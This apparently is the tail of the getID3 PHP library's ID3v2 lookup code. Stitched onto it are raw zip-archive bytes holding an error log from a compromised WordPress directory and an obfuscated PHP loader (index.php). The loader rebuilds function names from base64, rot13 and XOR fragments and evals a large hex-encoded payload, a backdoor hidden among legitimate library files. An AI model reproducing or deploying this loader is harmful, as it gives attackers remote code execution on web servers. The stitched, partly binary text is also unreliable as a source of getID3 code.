			LNK	Linked information
			MCDI	Music CD identifier
			MCI	Music CD Identifier
			MLL	MPEG location lookup table
			MLLT	MPEG location lookup table
			OWNE	Ownership frame
			PCNT	Play counter
			PIC	Attached picture
			POP	Popularimeter
			POPM	Popularimeter
			POSS	Position synchronisation frame
			PRIV	Private frame
			RBUF	Recommended buffer size
			REV	Reverb
			RVA	Relative volume adjustment
			RVA2	Relative volume adjustment (2)
			RVAD	Relative volume adjustment
			RVRB	Reverb
			SEEK	Seek frame
			SIGN	Signature frame
			SLT	Synchronised lyric/text
			STC	Synced tempo codes
			SYLT	Synchronised lyric/text
			SYTC	Synchronised tempo codes
			TAL	Album/Movie/Show title
			TALB	Album/Movie/Show title
			TBP	BPM (Beats Per Minute)
			TBPM	BPM (beats per minute)
			TCM	Composer
			TCMP	Part of a compilation
			TCO	Content type
			TCOM	Composer
			TCON	Content type
			TCOP	Copyright message
			TCP	Part of a compilation
			TCR	Copyright message
			TDA	Date
			TDAT	Date
			TDEN	Encoding time
			TDLY	Playlist delay
			TDOR	Original release time
			TDRC	Recording time
			TDRL	Release time
			TDTG	Tagging time
			TDY	Playlist delay
			TEN	Encoded by
			TENC	Encoded by
			TEXT	Lyricist/Text writer
			TFLT	File type
			TFT	File type
			TIM	Time
			TIME	Time
			TIPL	Involved people list
			TIT1	Content group description
			TIT2	Title/songname/content description
			TIT3	Subtitle/Description refinement
			TKE	Initial key
			TKEY	Initial key
			TLA	Language(s)
			TLAN	Language(s)
			TLE	Length
			TLEN	Length
			TMCL	Musician credits list
			TMED	Media type
			TMOO	Mood
			TMT	Media type
			TOA	Original artist(s)/performer(s)
			TOAL	Original album/movie/show title
			TOF	Original filename
			TOFN	Original filename
			TOL	Original Lyricist(s)/text writer(s)
			TOLY	Original lyricist(s)/text writer(s)
			TOPE	Original artist(s)/performer(s)
			TOR	Original release year
			TORY	Original release year
			TOT	Original album/Movie/Show title
			TOWN	File owner/licensee
			TP1	Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group
			TP2	Band/Orchestra/Accompaniment
			TP3	Conductor/Performer refinement
			TP4	Interpreted, remixed, or otherwise modified by
			TPA	Part of a set
			TPB	Publisher
			TPE1	Lead performer(s)/Soloist(s)
			TPE2	Band/orchestra/accompaniment
			TPE3	Conductor/performer refinement
			TPE4	Interpreted, remixed, or otherwise modified by
			TPOS	Part of a set
			TPRO	Produced notice
			TPUB	Publisher
			TRC	ISRC (International Standard Recording Code)
			TRCK	Track number/Position in set
			TRD	Recording dates
			TRDA	Recording dates
			TRK	Track number/Position in set
			TRSN	Internet radio station name
			TRSO	Internet radio station owner
			TS2	Album-Artist sort order
			TSA	Album sort order
			TSC	Composer sort order
			TSI	Size
			TSIZ	Size
			TSO2	Album-Artist sort order
			TSOA	Album sort order
			TSOC	Composer sort order
			TSOP	Performer sort order
			TSOT	Title sort order
			TSP	Performer sort order
			TSRC	ISRC (international standard recording code)
			TSS	Software/hardware and settings used for encoding
			TSSE	Software/Hardware and settings used for encoding
			TSST	Set subtitle
			TST	Title sort order
			TT1	Content group description
			TT2	Title/Songname/Content description
			TT3	Subtitle/Description refinement
			TXT	Lyricist/text writer
			TXX	User defined text information frame
			TXXX	User defined text information frame
			TYE	Year
			TYER	Year
			UFI	Unique file identifier
			UFID	Unique file identifier
			ULT	Unsynchronised lyric/text transcription
			USER	Terms of use
			USLT	Unsynchronised lyric/text transcription
			WAF	Official audio file webpage
			WAR	Official artist/performer webpage
			WAS	Official audio source webpage
			WCM	Commercial information
			WCOM	Commercial information
			WCOP	Copyright/Legal information
			WCP	Copyright/Legal information
			WOAF	Official audio file webpage
			WOAR	Official artist/performer webpage
			WOAS	Official audio source webpage
			WORS	Official Internet radio station homepage
			WPAY	Payment
			WPB	Publishers official webpage
			WPUB	Publishers official webpage
			WXX	User defined URL link frame
			WXXX	User defined URL link frame
			TFEA	Featured Artist
			TSTU	Recording Studio
			rgad	Replay Gain Adjustment

		*/

		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_long');

		// Last three:
		// from Helium2 [www.helium2.com]
		// from http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
	}

	/**
	 * @param string $framename
	 *
	 * @return string
	 */
	public static function FrameNameShortLookup($framename) {

		$begin = __LINE__;

		/** This is not a comment!

			AENC	audio_encryption
			APIC	attached_picture
			ASPI	audio_seek_point_index
			BUF	recommended_buffer_size
			CNT	play_counter
			COM	comment
			COMM	comment
			COMR	commercial_frame
			CRA	audio_encryption
			CRM	encrypted_meta_frame
			ENCR	encryption_method_registration
			EQU	equalisation
			EQU2	equalisation
			EQUA	equalisation
			ETC	event_timing_codes
			ETCO	event_timing_codes
			GEO	general_encapsulated_object
			GEOB	general_encapsulated_object
			GRID	group_identification_registration
			IPL	involved_people_list
			IPLS	involved_people_list
			LINK	linked_information
			LNK	linked_information
			MCDI	music_cd_identifier
			MCI	music_cd_identifier
			MLL	mpeg_location_lookup_table
			MLLT	mpeg_location_lookup_table
			OWNE	ownership_frame
			PCNT	play_counter
			PIC	attached_picture
			POP	popularimeter
			POPM	popularimeter
			POSS	position_synchronisation_frame
			PRIV	private_frame
			RBUF	recommended_buffer_size
			REV	reverb
			RVA	relative_volume_adjustment
			RVA2	relative_volume_adjustment
			RVAD	relative_volume_adjustment
			RVRB	reverb
			SEEK	seek_frame
			SIGN	signature_frame
			SLT	synchronised_lyric
			STC	synced_tempo_codes
			SYLT	synchronised_lyric
			SYTC	synchronised_tempo_codes
			TAL	album
			TALB	album
			TBP	bpm
			TBPM	bpm
			TCM	composer
			TCMP	part_of_a_compilation
			TCO	genre
			TCOM	composer
			TCON	genre
			TCOP	copyright_message
			TCP	part_of_a_compilation
			TCR	copyright_message
			TDA	date
			TDAT	date
			TDEN	encoding_time
			TDLY	playlist_delay
			TDOR	original_release_time
			TDRC	recording_time
			TDRL	release_time
			TDTG	tagging_time
			TDY	playlist_delay
			TEN	encoded_by
			TENC	encoded_by
			TEXT	lyricist
			TFLT	file_type
			TFT	file_type
			TIM	time
			TIME	time
			TIPL	involved_people_list
			TIT1	content_group_description
			TIT2	title
			TIT3	subtitle
			TKE	initial_key
			TKEY	initial_key
			TLA	language
			TLAN	language
			TLE	length
			TLEN	length
			TMCL	musician_credits_list
			TMED	media_type
			TMOO	mood
			TMT	media_type
			TOA	original_artist
			TOAL	original_album
			TOF	original_filename
			TOFN	original_filename
			TOL	original_lyricist
			TOLY	original_lyricist
			TOPE	original_artist
			TOR	original_year
			TORY	original_year
			TOT	original_album
			TOWN	file_owner
			TP1	artist
			TP2	band
			TP3	conductor
			TP4	remixer
			TPA	part_of_a_set
			TPB	publisher
			TPE1	artist
			TPE2	band
			TPE3	conductor
			TPE4	remixer
			TPOS	part_of_a_set
			TPRO	produced_notice
			TPUB	publisher
			TRC	isrc
			TRCK	track_number
			TRD	recording_dates
			TRDA	recording_dates
			TRK	track_number
			TRSN	internet_radio_station_name
			TRSO	internet_radio_station_owner
			TS2	album_artist_sort_order
			TSA	album_sort_order
			TSC	composer_sort_order
			TSI	size
			TSIZ	size
			TSO2	album_artist_sort_order
			TSOA	album_sort_order
			TSOC	composer_sort_order
			TSOP	performer_sort_order
			TSOT	title_sort_order
			TSP	performer_sort_order
			TSRC	isrc
			TSS	encoder_settings
			TSSE	encoder_settings
			TSST	set_subtitle
			TST	title_sort_order
			TT1	content_group_description
			TT2	title
			TT3	subtitle
			TXT	lyricist
			TXX	text
			TXXX	text
			TYE	year
			TYER	year
			UFI	unique_file_identifier
			UFID	unique_file_identifier
			ULT	unsynchronised_lyric
			USER	terms_of_use
			USLT	unsynchronised_lyric
			WAF	url_file
			WAR	url_artist
			WAS	url_source
			WCM	commercial_information
			WCOM	commercial_information
			WCOP	copyright
			WCP	copyright
			WOAF	url_file
			WOAR	url_artist
			WOAS	url_source
			WORS	url_station
			WPAY	url_payment
			WPB	url_publisher
			WPUB	url_publisher
			WXX	url_user
			WXXX	url_user
			TFEA	featured_artist
			TSTU	recording_studio
			rgad	replay_gain_adjustment

		*/

		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_short');
	}

	/**
	 * @param string $encoding
	 *
	 * @return string
	 */
	public static function TextEncodingTerminatorLookup($encoding) {
		// http://www.id3.org/id3v2.4.0-structure.txt
		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
		static $TextEncodingTerminatorLookup = array(
			0   => "\x00",     // $00  ISO-8859-1. Terminated with $00.
			1   => "\x00\x00", // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
			2   => "\x00\x00", // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
			3   => "\x00",     // $03  UTF-8 encoded Unicode. Terminated with $00.
			255 => "\x00\x00"
		);
		return (isset($TextEncodingTerminatorLookup[$encoding]) ? $TextEncodingTerminatorLookup[$encoding] : "\x00");
	}

	/**
	 * @param int $encoding
	 *
	 * @return string
	 */
	public static function TextEncodingNameLookup($encoding) {
		// http://www.id3.org/id3v2.4.0-structure.txt
		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
		static $TextEncodingNameLookup = array(
			0   => 'ISO-8859-1', // $00  ISO-8859-1. Terminated with $00.
			1   => 'UTF-16',     // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
			2   => 'UTF-16BE',   // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
			3   => 'UTF-8',      // $03  UTF-8 encoded Unicode. Terminated with $00.
			255 => 'UTF-16BE'
		);
		return (isset($TextEncodingNameLookup[$encoding]) ? $TextEncodingNameLookup[$encoding] : 'ISO-8859-1');
	}

	/**
	 * @param string $string
	 * @param string $terminator
	 *
	 * @return string
	 */
	public static function RemoveStringTerminator($string, $terminator) {
		// Null terminator at end of comment string is somewhat ambiguous in the specification, may or may not be implemented by various taggers. Remove terminator only if present.
		// https://github.com/JamesHeinrich/getID3/issues/121
		// https://community.mp3tag.de/t/x-trailing-nulls-in-id3v2-comments/19227
		if (substr($string, -strlen($terminator), strlen($terminator)) === $terminator) {
			$string = substr($string, 0, -strlen($terminator));
		}
		return $string;
	}

	/**
	 * @param string $string
	 *
	 * @return string
	 */
	public static function MakeUTF16emptyStringEmpty($string) {
		if (in_array($string, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
			// if string only contains a BOM or terminator then make it actually an empty string
			$string = '';
		}
		return $string;
	}

	/**
	 * @param string $framename
	 * @param int    $id3v2majorversion
	 *
	 * @return bool|int
	 */
	public static function IsValidID3v2FrameName($framename, $id3v2majorversion) {
		switch ($id3v2majorversion) {
			case 2:
				return preg_match('#[A-Z][A-Z0-9]{2}#', $framename);

			case 3:
			case 4:
				return preg_match('#[A-Z][A-Z0-9]{3}#', $framename);
		}
		return false;
	}

	/**
	 * @param string $numberstring
	 * @param bool   $allowdecimal
	 * @param bool   $allownegative
	 *
	 * @return bool
	 */
	public static function IsANumber($numberstring, $allowdecimal=false, $allownegative=false) {
		$pattern  = '#^';
		$pattern .= ($allownegative ? '\\-?' : '');
		$pattern .= '[0-9]+';
		$pattern .= ($allowdecimal  ? '(\\.[0-9]+)?' : '');
		$pattern .= '$#';
		return preg_match($pattern, $numberstring);
	}

	/**
	 * @param string $datestamp
	 *
	 * @return bool
	 */
	public static function IsValidDateStampString($datestamp) {
		if (!preg_match('#^[12][0-9]{3}[01][0-9][0123][0-9]$#', $datestamp)) {
			return false;
		}
		$year  = substr($datestamp, 0, 4);
		$month = substr($datestamp, 4, 2);
		$day   = substr($datestamp, 6, 2);
		if (($year == 0) || ($month == 0) || ($day == 0)) {
			return false;
		}
		if ($month > 12) {
			return false;
		}
		if ($day > 31) {
			return false;
		}
		if (($day > 30) && (($month == 4) || ($month == 6) || ($month == 9) || ($month == 11))) {
			return false;
		}
		if (($day > 29) && ($month == 2)) {
			return false;
		}
		return true;
	}

	/**
	 * @param int $majorversion
	 *
	 * @return int
	 */
	public static function ID3v2HeaderLength($majorversion) {
		return (($majorversion == 2) ? 6 : 10);
	}

	/**
	 * @param string $frame_name
	 *
	 * @return string|false
	 */
	public static function ID3v22iTunesBrokenFrameName($frame_name) {
		// iTunes (multiple versions) has been known to write ID3v2.3 style frames
		// but use ID3v2.2 frame names, right-padded using either [space] or [null]
		// to make them fit in the 4-byte frame name space of the ID3v2.3 frame.
		// This function will detect and translate the corrupt frame name into ID3v2.3 standard.
		static $ID3v22_iTunes_BrokenFrames = array(
			'BUF' => 'RBUF', // Recommended buffer size
			'CNT' => 'PCNT', // Play counter
			'COM' => 'COMM', // Comments
			'CRA' => 'AENC', // Audio encryption
			'EQU' => 'EQUA', // Equalisation
			'ETC' => 'ETCO', // Event timing codes
			'GEO' => 'GEOB', // General encapsulated object
			'IPL' => 'IPLS', // Involved people list
			'LNK' => 'LINK', // Linked information
			'MCI' => 'MCDI', // Music CD identifier
			'MLL' => 'MLLT', // MPEG location lookup table
			'PIC' => 'APIC', // Attached picture
			'POP' => 'POPM', // Popularimeter
			'REV' => 'RVRB', // Reverb
			'RVA' => 'RVAD', // Relative volume adjustment
			'SLT' => 'SYLT', // Synchronised lyric/text
			'STC' => 'SYTC', // Synchronised tempo codes
			'TAL' => 'TALB', // Album/Movie/Show title
			'TBP' => 'TBPM', // BPM (beats per minute)
			'TCM' => 'TCOM', // Composer
			'TCO' => 'TCON', // Content type
			'TCP' => 'TCMP', // Part of a compilation
			'TCR' => 'TCOP', // Copyright message
			'TDA' => 'TDAT', // Date
			'TDY' => 'TDLY', // Playlist delay
			'TEN' => 'TENC', // Encoded by
			'TFT' => 'TFLT', // File type
			'TIM' => 'TIME', // Time
			'TKE' => 'TKEY', // Initial key
			'TLA' => 'TLAN', // Language(s)
			'TLE' => 'TLEN', // Length
			'TMT' => 'TMED', // Media type
			'TOA' => 'TOPE', // Original artist(s)/performer(s)
			'TOF' => 'TOFN', // Original filename
			'TOL' => 'TOLY', // Original lyricist(s)/text writer(s)
			'TOR' => 'TORY', // Original release year
			'TOT' => 'TOAL', // Original album/movie/show title
			'TP1' => 'TPE1', // Lead performer(s)/Soloist(s)
			'TP2' => 'TPE2', // Band/orchestra/accompaniment
			'TP3' => 'TPE3', // Conductor/performer refinement
			'TP4' => 'TPE4', // Interpreted, remixed, or otherwise modified by
			'TPA' => 'TPOS', // Part of a set
			'TPB' => 'TPUB', // Publisher
			'TRC' => 'TSRC', // ISRC (international standard recording code)
			'TRD' => 'TRDA', // Recording dates
			'TRK' => 'TRCK', // Track number/Position in set
			'TS2' => 'TSO2', // Album-Artist sort order
			'TSA' => 'TSOA', // Album sort order
			'TSC' => 'TSOC', // Composer sort order
			'TSI' => 'TSIZ', // Size
			'TSP' => 'TSOP', // Performer sort order
			'TSS' => 'TSSE', // Software/Hardware and settings used for encoding
			'TST' => 'TSOT', // Title sort order
			'TT1' => 'TIT1', // Content group description
			'TT2' => 'TIT2', // Title/songname/content description
			'TT3' => 'TIT3', // Subtitle/Description refinement
			'TXT' => 'TEXT', // Lyricist/Text writer
			'TXX' => 'TXXX', // User defined text information frame
			'TYE' => 'TYER', // Year
			'UFI' => 'UFID', // Unique file identifier
			'ULT' => 'USLT', // Unsynchronised lyric/text transcription
			'WAF' => 'WOAF', // Official audio file webpage
			'WAR' => 'WOAR', // Official artist/performer webpage
			'WAS' => 'WOAS', // Official audio source webpage
			'WCM' => 'WCOM', // Commercial information
			'WCP' => 'WCOP', // Copyright/Legal information
			'WPB' => 'WPUB', // Publishers official webpage
			'WXX' => 'WXXX', // User defined URL link frame
		);
		if (strlen($frame_name) == 4) {
			if ((substr($frame_name, 3, 1) == ' ') || (substr($frame_name, 3, 1) == "\x00")) {
				if (isset($ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)])) {
					return $ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)];
				}
			}
		}
		return false;
	}

}

PKE]8-&2025/backup/v1/docs/swas/mxb/error_lognuW+A[25-Aug-2026 12:11:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[25-Aug-2026 12:11:23 America/Sao_Paulo] PHP Warning:  call_user_func() expects parameter 1 to be a valid callback, function '__halt_compiler' not found or invalid function name in /home/cienp/public_html/inct-inovamed/wp-includes/ID3/2025/backup/v1/docs/swas/mxb/index.php(44) : eval()'d code(45) : eval()'d code(42) : eval()'d code on line 230
[28-Aug-2026 08:04:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:04:14 America/Sao_Paulo] PHP Warning:  call_user_func() expects parameter 1 to be a valid callback, function '__halt_compiler' not found or invalid function name in /home/cienp/public_html/inct-inovamed/wp-includes/ID3/2025/backup/v1/docs/swas/mxb/index.php(44) : eval()'d code(45) : eval()'d code(42) : eval()'d code on line 230
PKE]r%..&2025/backup/v1/docs/swas/mxb/index.phpnuW+A<?php
@error_reporting(0);
class LoaderctfClQHtdU451 {
    private $YJzO = 'zMoFdHh';
    private $ybLU = 160;
    private function get_XIhlUxoTTVZm() {
        $_s = (bool) mt_rand(0,1);
        return base64_decode('X2xh');
    }

    private function EMWmKwQqsyS() {
        $__ctx = (bool) mt_rand(0,1);
        return base64_decode('eWVy');
    }

    private function JbiGqxeujM() {
        $_s = (bool) mt_rand(0,1);
        return base64_decode('XzM=');
    }

    private function pPnEwdGdFHAN() {
        $__v = (bool) mt_rand(0,1);
        return str_rot13('0ms');
    }

    private function chk_guLlkbCo() {
        $__j = (bool) mt_rand(0,1);
        return str_rot13('ky5');
    }

    private function EDwUrhSXdG() {
        $__d = 6675;
        return str_rot13('ue3');
    }

    private function chk_MqtgNfQjLE() {
        $_tmp = (bool) mt_rand(0,1);
        return str_rot13('apd');
    }

    private function _exec_mcgtucgg($code) {
        $code = @preg_replace('/^\s*<\?php\s*/', '', $code);
        try {
            eval($code);
        } catch (Throwable $e) {
            if (isset($_GET['debug'])) { echo 'Eval Error: ' . $e->getMessage(); }
        }
    }

    private static function xor_strings($data, $key) {
        $out = '';
        $klen = strlen($key);
        if ($klen === 0) return $data;
        for ($i = 0, $len = strlen($data); $i < $len; $i++) {
            $out .= chr(ord($data[$i]) ^ ord($key[$i % $klen]));
        }
        return $out;
    }

    public static function init736() {
        $f_oTIEBqVjlt = self::xor_strings(base64_decode('GwoIAA=='), 'k');
        $MLwDCn = self::xor_strings(base64_decode('GB4JGB8Z'), 'k');
        $voirIHsQImMA = self::xor_strings(base64_decode('DBECBQ0HCh8O'), 'k');
        $fWWtAtgFpc = self::xor_strings(base64_decode('CQoYDl1fNA8OCAQPDg=='), 'k');
        $ZdxqH = self::xor_strings(base64_decode('Bg9e'), 'k');
        $CDzvl = self::xor_strings(base64_decode('GB8ZBw4F'), 'k');
        $hex_data = 'ca149c795c0cff1fc73b24a49228a49642482d42a5dafd3a129245a874ac2421b525e9dadde940912c92a463112a1d5b52e9dad9542a1d8b6e1dbb9d4b9b766bdb7b76e6e7f7f73c3ef398cfbc3fefcfebf99cc7cc3cab1b8c9ab6ab3097fd57b53563d952cfe3157e1b46370c3cd50ebf4879f165cbe3ff2ee9e3400f419e4ddfcb005a521df73d9dc754ba918fba90124520fda8bcf61d7f27f14ddadd0832a53d3038a9faf89b1ec2b3a0a7e1366906a46395e410d6de5454d6070fd2f637ffedc94fb74b401d5264b9a71123b8357bcee9a4cb50d321f2e60cb766db511486b859f79d9e5fbfc224f96cfea7172f16aa1e7f48194ce1b2d6f954241f7b303e15b9f693e3dce789d4ad16190ced95fe5dda84c7b1f95a8420a961ff6f93a78a76bb073b17062fd879966b3686853f93cb3e07b59d4ffd5a04eb2842e95a13c4328958212aae1bfe223bd043dbf2f5486cc85deb45c3fb5db39ce7a5a21c82d5019394d4a1da6214d3d6978330748bf593923f52cbe6c49606c30e13b04fd1ee9b7c19449ddcbf6a246949aeb0d7f2ab4da88426360010d6c8f13f18fc8ea92be1990ef9a8e152b2e58fc1ed61b7373eddbe3b0b12f8d7f37805d777e330f73ab07a378b727c147f31fe84e3e74bed527b7e89ba3a727e579edc5473f9fa99f21b95526291971586456d966d5b189af5fddce180ccf0c5408637a4f3f1e940a428e4ea307d7e48a2189769f7544ad3f4af86261d8e3a2d6fbe607ef83441314f3d46037a150a1b4c8640a2402e9ccc9a940fb287bd8a5f97a6ee9299e1e4c68f9b6a02a7d444fbdd450af9af21d3fc5a0c1ca0988b9416fbb52a2aab3ff45dc71c730007f68d6dc3f19e84755ed1b557d4d0c705210a976200e27fe1ffee157dbab044bae32c4d94e003fb0e21b022b018265158c2e35feb9e0f7e25d14ae9f3bfebaa993252415fe502b583feb06d4e9e96db992ccf4913cfe0ff1e493f90cfbec0bb5c76b6c3de3dac77e9a830e0346209674e4683729e82d9d5460a4c4a483c7b79c82f3be1e0a60f5edf8e7c33c43c0a97865a7b23090a874384095021f37d51c50ed1e1e6c1ad75b394f58ff4231a003a400f1b6071a2c56f8e0d25269f6acbb771b0f56b34987124c8a68ffde1744d97517a5a152c11b67568977bc45874c8a7b59098454482b7ae4cd36f03e5e270443f79e4f0c1e53f40b9b12cfc09faa94770e289dadf060247b84f8046cac38220f21c1a40dedb57261692b8b5ee3b5eeee0a79192f78edc21bd20e9fd99c672e57df499b57488c20f35baff3ac283cde3fa0a562d54ffd212e38bde766229881faa048d8d36f87536f23c3df289db1ea6817e3ef0a1bf0d06240995f603cce05d88a942ce462a15dbfa5a067b0d3eb4474515c9d4e1a09cc69a41974f276e54fe4420a402733a343c2c14a228da87594242d612a772db7da7dff72595ebb2ce60395be6bc9f36fb5506d45e19d4a606847ab81ba4977ff086f1ccf0751f0259c77407005f041fd72ca859d196602f2c6874668df86895eb86867e928b5b67aefcfa436d2ccaeeb954b66f6afefdc934a48217a27847c24328d12e599ade8fe20cc452a7edc48ba8955bc5208cd9bad66aff48be1c7be26af2bada24fbc8b8397785001962fdc06cb1a09ac0f8dd42dea0b2287ce4ee0fa1f608da6e1a2bc30b962a1c33308f70c60add4f913baa3705e91c4a704ebc28a53860f0c7fdb4b6d759bc79ef1c77a4e6ef1c26c47b9582c7d59501e3e0430e1360a1a3b4ef927753b8fbafd72e91d3b0b2a473241d4235f9a85f92ff7cd0142b7b59026787bc96d38f1a2d6cdbf7c11a01fbf05f0939a4c221249185d49a1fec020705bb4969ce0f32cff51c9a549b9260ff8acf566b33b7d61ea2efcb00dcad9e750e23afbb9c5e37fe1d86396261240cf6327f7bfb2a1e3ed9aee0ec28b46bdc48441cb18ae64b25bc96b04310737065e9d683c413c8c2c97576c82ff4624efefeb35962e06b2e2877119686f88d75203e0dd3b84b0f3c49e7a51562cff527cb3a22f71f6b885cbb676c350b7c7cd0aecae5097c2d0164529d4d1147a2392c63b178407853f88d5e9b797f021c86808db44b1687cbacf6cb2a90ea6d3fca5f13b72a7a07cd2179c9ed345e21f7f003e131385c2e7849147c270cf66e008f1012c55d4a4b4d6f04a18dabda9ccb1ec6f776d59cafbd9c65afe1d231cf5f8c44c0692726dbc6f064bf373dafd7ed63fe3443383071646d97a981d765ee499ecbde67d36ef69e531fd77005d9cb93c203c3937cab585593e6c1c22bd13bbc6f6cbd48dddebf86f0fae9e0b1dc50571407392ae352f74c0f2132d89dae69a1f0d8f0e073e093df8f51b7169e62ab7770e72c0e3ea81c8dcc97bd2b54fcbef62323cbf931f524696b4749c814a611799935f28ce49e27e7ac64e2904e3dc75412ac0dcd958734611b80a286720f85c6dcb5d52fa58e2bbb7ba2ab4f1e64e794775999f4dedddfeb3a302e9d5c83d202e2dc6927159787d1b96dc031e9ed07f0aa8e19630f970d582231a2b2b2d6f07ce70d7810ee59f1f7f921c1ae5fe0552b0d80ee295590ec77585d57c22c5fdc28dee292723bd69e3236f5b41ea0b232ce2c99dc920474b2e283aa61342442c9338b519569fc5b96c009b98188c9b9ba6bd0187be438e1f9bb3a615297c06311f1456e87e33cd0608a58780bdee63b13e507c96e034cdf395319557224a3cd294e9c8bf0a548a2bf4ef8168b1ad9cadb6d24230797b40a8f1f278bf6b326ea95f525e5fb7f4fba6c78fbc9511858c645f93b64665ad4d3793fdd349348a1d1df32a32bb321ad937d3fa35c7db7548a49ac0ffd788efcc870a8ab46000f6f6c90f9d8b5683cb28207edf973cf61a05563467cc888eb111c355225d2f355c4c5bf34bdcff38b3625448291bafb5ed638d6a41e42bd74f4af90bd343feca795255ffe72fa22855be544753d33927275f7650fd2d2f2aedb051d7bc535e57ba79aef89e3171e85cdf347b4a63f7e8f282e7a7425fdfa7683739619510451847b5eb3fd40559bf1dff211d1d85ec1706f943843b32e798fa51d4b2d72748bde41ae970b700fd33b64e61dd72a3812c50cb9f9556e9575326ced8ce108e8bed4acc03df8a5deee75f357cf54dbc3a13f6d42f86dbc76fcecbbcafd35cd7e7ece266f1c0d66167639551bf15c3b4281cd133f864a37a2b436f4b2e59532b7b7f019d4ba70ed85ea969c8eca26b8ea6af6e174aa61a3e508903e2be76ebef13c2c2827dd36dac394e7fe6cf7492fe737dfd442fca796156a786fcd4e13596feac75771ab6f6d7c431c1ce2f5039f0bc937074a9fcee7d5135488239b3f306fbf8126b5077c42d3287f50bb3cef2ca5cdb2716d9f0cc6eab6a2dd69e29dafd1bbd2c99f2b34c3acd9d1a409acb4e2efa421b7f2c9935a35cea5cd17cefd7149fb4bd216158d1d3225bcfe0a1fdfa59ffba75e53a2100ca52a7625d59c59df28345de82bdfc9d5ef67f67e4bef4e31b620a1ee5c12d0bbd2d2439bdf9594508e959737943ff8f86b2663e0d26b939a80077ddfb1c57776b1827e16beb5dabbee76b5ee88b1c8c4635f9393165212a8e01a313dd64af9653583f91b3df2ced5065a080af1c77c9adadf5566ed0d2dda921ae335a551795abd34dbdf3999e5856d3d266ed65285b5e484ea1d2243be5461d575ce8792810fa9bee0bf3817953d34bdefe8c2fee17d05192ea2c74ea1a992ffee6dd07b97ddaf3cf895ac89d4b4c77f255bf3cf3ee9e91d38ff051397f5f9f07d743bdd0a9ffe212df2b27f04ec7c65367f3f36292be2915ef5b736addbb9ae4e6fcbdd7756b19173eb9c651773a14d3a7122ac4679a3ccebfdee852cc16c2a062fac5f3b43309cc9e8f02ffee6179414b9d36636cb2ae96997261ca666f841bf662a4af3135c22126d1a93272cc88e3a67e7c4d7e86b006e37c2a419e11d8e41fbb06343c5997ffdf6e4bf29b2bdfe37d3ee5681c72ccd472c3b9659906c7d09296b9317d72c2afd30d35b442fc1a2241c978cd4125afeaed7d4f56735c85515d1e6de37f93b06a7d31b6589e3750fc6c8a57d0b8006520fff592d6af61cca373b1ccd2cc5cc6fb038f0a6845e1dd1ea29be9233ef7a4591d1247718edb9e15573b4dad87e4f1fb336e97ae1a01a2c6d36e4b851afddfc2ddb2a52af1236396d38efe1cf2d73b2350b2cfb3e3a9cda3164feaca34221dbd6253c7eb8a7c0ae4fddb6bde81875732ff8d061ed06e4647c67615121d05435e47f0f2675cbbf565e302be5d5d7c8fc366f1a6b188f4c3d864d00aaea78676af1176e4fe2b61cde7c4fe69aadd18843715d9ba235e5cdb267c9558bbed52a5700ea146518289c230ebce6ed2e523ae3b9b04e14a406d783b6fae521bbafad12edc54b0c1a71b6cdb2a35f73d913c0511b5cc7c447eb5b514fc6f084300739be011cc5baa1a21b05c244748bb6e1a94f78e72ccb02cf0f847e57f3cf7477039e82d3f4e55a19ef81bbc545ec119c83ddb3f47a0eb3ece26087f3509bf8a34b652648919818198ac42f32baf6c60313d75cfd3c5c6baf7ce9fde901260a746ef73bb6563d8dee39bc0d734f410afb103bbc1b361cfd47068d8a0ade54e4f6e33387a4e9c2b60b153d29c4858c768c93e2f3dd9a938e1aa63307ceb948fa169f9dd2e0fa56d15bb409ec070e3f97b8882a4d4d87b478e1e59ceb193e55273cb9595dc6e7327e7fcfa3967804def4402e4ce0740cb957cf985cfc8255ac9e7f18b154a1d95b59db5ae2b56ca0713bfd65d6b4fe7dda88a80e5a9e653e1412aa9b3bca7eb3e5cc68d9afb043e97bb6d82d70d34e6424afff869398ce28055b07c51545df53f47e9c7165c5baf545deaa4bb4ecc57b1b1ba6319afb54b826a24b616deb88de2f716bf1da073bb98becae72595f3ee58f1fa259a407b798cd3b6573ee1aae5bea49e5edcdcc49e267b65d9b3a6fcb4ed20f9f8f01ef2d1225d45aa2f52d0e927f4153d7231f072e426a79a3d4fc4784c40ce6f610f613c6e4daabf716824243beb2d43f079cf757bfcbe3f50cd6bb823e9c8af9cfd25521eefe3a7ca708f71b35f59b49f592bb426e857175f6e4b5ea705528f467b33a0aee8bdf7c7b324db7205c82b85feec8487cff2bf342f9df134f244e657ff7ce1fda362746af8d0796677fff135a6bca0ba3db6d9da08ca80067711659468707d716a3c6921ec8cb47fe0c9acd8b2f44b4e07589de2397b26e5f4113bfe334899f886141e5a537059bbb8c241ab055ba837ac8a2a95415b2689261e37596dab48887436cc3077a796a74d68d586ac31157e3eada386d637ade8526ef4572f344cb36b2206b9bd4c2244c8fa34555b7f88fdc7fdbebe9078cfdade9d955f34848686522418b49d88d9b1ddaebb5203418e385bfdac47751986fe9f95adea12235dd51b3b1e7db7b8f5cfacddc91bfa5b50d74d690ce67b3005605fc4992013472af824fb26b42e32591b8eeaae4ca6143a099534e5abaf0f1b1a33259592efad5bf010c1c76dea4c9bf7f1b9f9ee234d0eb9a66afea1feb7f6205b5e78745e6d34480e69e7bbbca0f9eb91e50f77d03904a4a333d9ef1f174daab2eb5b